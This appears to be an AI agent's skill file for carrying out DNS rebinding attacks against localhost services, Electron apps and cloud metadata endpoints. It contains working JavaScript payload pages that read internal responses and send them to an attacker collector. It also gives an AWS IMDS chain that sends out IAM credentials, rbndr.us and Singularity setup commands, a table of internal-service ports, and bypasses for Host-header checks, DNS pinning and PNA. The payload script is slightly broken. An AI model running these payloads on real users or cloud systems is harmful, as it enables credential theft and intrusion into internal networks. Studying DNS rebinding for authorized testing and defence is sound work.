| name | dns-rebinding |
| description | DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"dns rebinding rebind TTL 0 singularity rbndr localhost bypass via browser imds via browser SSRF via DNS same origin policy bypass","tags":"dns-rebinding, ssrf, imds, browser, localhost, same-origin-policy, cors","mitre_attack":"T1557, T1190"} |
DNS Rebinding
DNS rebinding lets an attacker-controlled page make the victim's browser
treat attacker.com as if it were 127.0.0.1 (or any internal IP).
The browser's same-origin policy checks the hostname, not the IP — so
after rebinding, the page's JS can read responses from the internal
service as if they were same-origin.
When This Applies
| Scenario | Viable? |
|---|
| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |
| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1: |
| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |
Server-side SSRF filter allows attacker.com | Yes — rebind to internal IP |
| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |
2. Attack Mechanics
Phase 1 — Victim resolves attacker.com → public IP
Victim visits http://attacker.com/payload.html. Browser resolves the
DNS name → gets the attacker's real public IP → same-origin allows
the page's JS to load and execute.
Phase 2 — TTL expires, DNS flips to 127.0.0.1
The attacker's DNS server returns a very short TTL (0–1 s). After TTL
expiry, a second DNS query returns 127.0.0.1 (or target internal IP).
Phase 3 — JS makes same-origin request
The page's JS calls fetch("http://attacker.com/api/v1/secret").
The browser re-resolves attacker.com → gets 127.0.0.1 → sends
the request to the local service on the attacker's behalf, receives the
response, and exfiltrates it.
[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker
3. Tooling
rbndr.us (fastest, no setup)
Public DNS rebinding service by Taviso. Construct a hostname that encodes
both IPs:
<hex-public-ip>.<hex-target-ip>.rbndr.us
Example — rebind attacker.com from 1.2.3.4 to 127.0.0.1:
PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
The rbndr.us server alternates between the two IPs on each DNS request.
Set up your payload page at http://$REBIND_HOST:8080/.
Singularity (full-featured, self-hosted)
git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html
docker run -it --rm \
-p 53:53/udp -p 8080:8080 \
nccgroup/singularity
4. Payload Page
Minimal JS to fetch once rebinding succeeds:
<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil = "https://<ATTACKER_COLLECTOR>/";
function tryFetch(attempt) {
fetch(target, {cache: "no-store"})
.then(r => r.text())
.then(body => {
fetch(exfil + "?d=" + btoa(body).slice(0,1000));
})
.catch(err => {
if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
});
}
setTimeout(() => tryFetch(0), );
For IMDS specifically, AWS v1 and GCP do not require special headers from
the browser perspective — the only protection is Host header validation
(see §7). Azure IMDS requires Metadata: true header — inject via:
fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})
5. Cloud IMDS Pivot
Once the rebinding hits 169.254.169.254:
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"})
.then(r => r.text())
.then(role => {
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"})
.then(r => r.text())
.then(creds => fetch(exfil + "?c=" + btoa(creds)));
});
Extraction yields AccessKeyId, SecretAccessKey, Token — full
AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).
6. Electron / Desktop App Attack
Many Electron apps serve a local HTTP or WebSocket server on
127.0.0.1:<PORT> without authentication, relying on same-origin for
isolation. DNS rebinding bypasses that entirely:
- Enumerate the app's local port (scan or read its config file if accessible)
- Rebind to
127.0.0.1:<port> using rbndr.us
- Read API responses, extract tokens/auth cookies, pivot to backend
Target ports by app:
| App | Default port |
|---|
| VS Code remote | 9229 |
| Docker Desktop API | 2375 |
| Kubernetes API | 6443 / 8001 |
| etcd | 2379 |
| Jupyter Notebook | 8888 |
| Kibana | 5601 |
| Redis | 6379 |
7. Defenses and Bypasses
| Defense | Bypass |
|---|
Host header check (if Host != expected) | Try X-Forwarded-Host, X-Host, empty Host |
| DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab |
| Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it |
| IMDSv2 (token-required) | Browser can't set X-aws-ec2-metadata-token-ttl-seconds — v2 often blocks |
CORS Access-Control-Allow-Origin | CORS is about responses — rebinding bypasses by making origin == target |
Browser DNS cache TTLs:
- Chrome: ignores TTL if < 1s (pins for ~1min); use rbndr TTL of 1s
- Firefox: respects TTL=0 more reliably
- Safari: similar to Firefox
8. PoC Evidence Checklist
To file a valid finding:
9. CVSS
| Variant | CVSS vector | Score |
|---|
| DNS rebind → unauthenticated localhost service (DoS) | AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H | 5.3 |
| DNS rebind → internal API data leak | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N | 7.4 |
| DNS rebind → IMDSv1 IAM credentials | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |
| DNS rebind → Docker socket → RCE | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |
AC:H reflects the requirement for victim interaction (keeping the tab
open during the TTL expiry window).
10. Chain Promotion
DNS rebinding is usually a delivery primitive — chain it:
enables edge to IMDS credential node (if IMDS pivot succeeded)
enables edge to internal service vuln (if internal service is exploitable)
requires edge from "victim interaction" precondition node
kg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot",
props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254",
"browser": "Chrome 124", "imds_role": "<ROLE_NAME>",
"exfil_method": "fetch to attacker callback",
"key": "dns-rebinding:imds-pivot"})